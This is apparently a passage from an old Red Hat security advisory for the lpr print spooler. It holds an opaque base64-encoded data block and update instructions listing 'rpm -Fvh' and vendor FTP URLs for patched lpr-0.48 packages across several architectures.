    xXuLNG6GW0UcM7dMJyr/LDnJZEG3SmTLTbHI8a7w2rEO6rrJPQtpCCw7pY7DdaF/1ny/sU4h
    YHo0tUVRQXwF1LHeyTTuSOSG/vQHMAhprS1OqQohfjN0+lpItGVjdu4Di/IzsMiejHb8s6IR
    KymYK51IZlu5bKsfYI8YSIckBHFaFrFY/CNHmRF1znqKC8S9oNF4V4eN0dXmp4NRRw2/WqtL
    4T/O8wu7tV9hNobm2AlzJmr2mH/V9ZJUGduFw4I7/m0mEtBvkng0ONVqAxK4cU/7qpofp3lO
    iQEQPyFHaymNDuJQQr1PgyWtLUWsMI9ZgpTQ5Tpu22Ney+BUFhJyPwUiXsdyStyrQHZTKAwD
    u1+Y7DzW735RjzfEZbMB/5rOjiIZx7SyXLWBcLuPER04auJpFIHiE/v+Lo3m4I2RuYI24goz
    aj6MB66Kl6iDknMeD74Kzq1wmQYW4fKu0GDQ8T62Uv2Nbh8V5ZiWEalRyxHfcFY1Nye0en6U
    CvCeNBok2jPvtWI3wnS/tPfxehFWoy77MZsunLMd2yTHoUnP4Vmt2NIOHQ5S1vmHPmo3mddH
    NefiVT29Zns4cx38Qg1pGsQNNiyMxu7B1j/C/WATR7rDspVjpwkMaLgRbGctYDN6LKDkUBka
    brTUSpzT2t8NPjmwGm9su9+7yBT8Z6HmULf4ythg0ieWnKOsADJS8WKG4ejqPvkyanAHk8g2
    wy9hPlXuN9qeuYkOcxr9xb/Lv/NsBlVd2T+2cRtz37eS7uk4DG5Cm9uc+NXW3RPpPDojLSLq
    jBXLC5Nvfu0EdfN+NxqJYzo+dsQCCcxtmtOUZX8BprI8FdOEIbAoYc3xm4FjozIphaR6FKf1
    wOyOfuBnFg+PfvA4GjzmJ/zL30i3mjBrrxeeOa1q1Wh5107U73K4xsbOfnN7q7Fju6n/A+29
    KwQXZhbULwrxn4F58x732SvuUJ/R/H989tJfXPq/fRfs10F+zgxvBn/fjPpoksL8edk1NfnM
    RHfXL43nPOK3RXOXMEaoF8D9DOeSgIzbMS4fh0O8eOd105G1xCwsFdrdYT8arpilQic61b+Q
    R7NiouHpYjBqGF6OGeKqTGQYjc9yRmuxtyHeKyzaj+vmZ8tW0fjM1H0mRtz36QZ6RQAxSBOR
    MyGV5btfT3vgHD9job9b/UWs9kH76XAKSBdx8TO3hSa9pgOUhIi7g9R+tKswiqpGBJl4U5Ux
    dohsGqctTRCN9cKakqKyaUTpeuJhFJlTyxQ5HZOe1wpWIsawIW6B3QmLqbWmTvttc7cR6JGl
    +rgiGbhPgDXzUnp4eHohRapY1LRMV0bTacORjoF5BD/l0G1id3liErlybu2OE5k2h8nhl8MN
    uGH4Ow6+kIzai7ruhVljL00Ze0IuK1v9veaoW+hxlMIek2YSLzpOWVAxdahMiThgiVPOrZZM
    Jzlgn9eIwQmIAFcdopWn3HzaDXvsqZsfTmrqVfLU0tNWTWnQwvS8eJTE+eCuz403Z2fqpcnI
    h8BqPJN4Atwea/Lz5GRU0lD+oE/e7B4eT0xjrVAsPOdprK0XubRQ5Eyj+jZ5jhDDDT7ebRxO
    WYcFsL46FUD0qZtwuLKTxWVS8vWW8sqXSUI3SzmZjDwVd632bX8Vsf/0ajgu+jS2j9+YN0ff
    TPDBHJzQj78/I/NTky8RfFy/MQEfI35j+T5tGAp1PSvHsNrBkkEQ0eheGRS8ZCLhgC7r0ZfI
    Ai6WIi8FCMVIpVRyJX0YZ03DxpREgVbuvT04ELc7fXl11HxjxEaZVm0DMEseyh36uoi1YGj6
    h/MHPMG0tDJtm80tahiMG/LzTVnFuW1jN/tbwr1t48Dg7PWu1BOrdY09nEFmSgGZOaTzbsef
    QJ2AOx0tUdVNvPFqJvEpeeIzi/oAz6Ssqi0ojr9t3CleyfIhFSDsNUmPJ2JvmXh8g1VlcxJ7
    0vTa6qRiPLebVspmU9faXxl5JUtKDHDujemXJTD+iKHo8OjNbkqqd5mzIlAkyl4tlqs+HQiZ
    Il+6DY0H3fNZGxrOKM3w3QK7Z0E9Es11ZuHNhoyqIPuoSpiAl09Erjgrz/JdblkKsmx8v7WD
    r8WTL8g2tga6fx8bP+N31i53EtixNNwNZkhOE5pSh0Usj7ZQCmML0iDdF0al8PsMAbDoUOgO
    mGP31W9lMII7A/z0ezhH+r89SP9ik2xj9TO/405YGYkbeeo/dQJT3UxT1mj8ImfBnFi6G4XP
    jZACGcyuIE1rIC69oaTN+AMJsmY17hi59ImsMZtCdQ59pZ+4jI4db5bg1LCmcys6/dlrd8lb
    YMzO7t7+6328lvNPWr5rBqAlfCaHNMYcN4622Sh2KCmXNhhKC3fNCL2fAk/G5/+59w7e4f2L
    h7b5Sua4al9wtGL2qr0k/t8XK6ZZLa4+Ka+umEa1tPpkbXWFdJU31Z3XzSeNve3npdKTH/Oo
    L4rHW9U7vCDpVtsqW8Vi9J22aRqscIuQFCLbU/7sKyaRs+ZipRLRelwSBf3cLBaDWPfaelED
    mbnlE+/lgvBvy27ZLFguOmBrWQUxfCFxeqoAhbteK5/9S5CP4sZ+sSZNO+m3L02swk/KZ4Pk
    82jCb2jS+EXfSuMPQphBeU3sQemOe7B829Xp1HVKuv0gi6nJTMw4dUDlu03Ons4Nx6P1k/SR
    G92OqWUlnOJUlG+I6pYsKhilJGVK4jLUW73kFR7nqva9ghL+rtuXoUn5RjSxAYKpGiXpMk6D
    wPznI65pq9eLLlUsrA+RjC10edZCbZbaeIWvWEp/nHlXP7+IB9LhYzysi19JzoVNna64W/JS
    kpM5GJZfwME+0OSiBaWUI6ilIIW8QSosqMVGU5+vWDKPbMqO3aOhjuaqVYyf47ilGvfI94CY
    y3G2Mi/azYL7kdPpuF6wtXwNW5dX0UAqHXBSEE9Hq19JjLPupp14umHBFr6SXAZpW3A5KLbd
    cmri9DQFbdk3YoPCIzfsP6B1IEwdzX9WWdBvZsVH1rvQV+9o0NwTDR/XXqkYxyCpWRzfwTAO
    c3GDZ1KJGeThaTE7JT1x8uhsGTWYlIMsDnuz6lMminQn0WO0ufAtO19xEmvNBaUit5nxM55x
    moZOXPA/UHvHSGoHNlDfovqH2e9sXsz7o8w49arrpyR2jMkq3HYl800llUMIC996zOj/Y1C8
    5vIbjyn3YPdG8cpXGelbW4qGqwMl81ot2hYDqWk7+9K5Lt3V9jVzpOaoH5QDCSQCKSfjL6sN
    GD7jF2RL+dMxGWuCd6YXMuPillanGGl82ptPoBFwr1JST1qm+ZPtSvmGXXl1o3S2tnq3UQXm
    tpB6LpkFRjnenm0pC/adxlJnCuJE3nq/IKysjtN983Xp/n88fB4+D5+Hz8Pn4fPwefg8fB4+
    D5+Hz8Pn4fPwefg8fB4+D5+Hz8Pn4fPwubfP/wEqmgeNAMgAAA==

    -----

SOLUTION

    For each RPM for your particular architecture, run:

        rpm -Fvh <filename>

    where filename is the name of the RPM.  RPMs required:

      Intel:
        ftp://updates.redhat.com/6.1/i386/lpr-0.48-1.i386.rpm
        ftp://updates.redhat.com/5.2/i386/lpr-0.48-0.5.2.i386.rpm
        ftp://updates.redhat.com/4.2/i386/lpr-0.48-0.4.2.i386.rpm

      Alpha:
        ftp://updates.redhat.com/6.1/alpha/lpr-0.48-1.alpha.rpm
        ftp://updates.redhat.com/5.2/alpha/lpr-0.48-0.5.2.alpha.rpm
        ftp://updates.redhat.com/4.2/alpha/lpr-0.48-0.4.2.alpha.rpm

      Sparc:
        ftp://updates.redhat.com/6.1/sparc/lpr-0.48-1.sparc.rpm
        ftp://updates.redhat.com/5.2/sparc/lpr-0.48-0.5.2.sparc.rpm
        ftp://updates.redhat.com/4.2/sparc/lpr-0.48-0.4.2.sparc.rpm

      Source packages:
        ftp://updates.redhat.com/6.1/SRPMS/lpr-0.48-1.src.rpm
        ftp://updates.redhat.com/5.2/SRPMS/lpr-0.48-0.5.2.src.rpm
        ftp://updates.redhat.com/4.2/SRPMS/lpr-0.48-0.4.2.src.rpm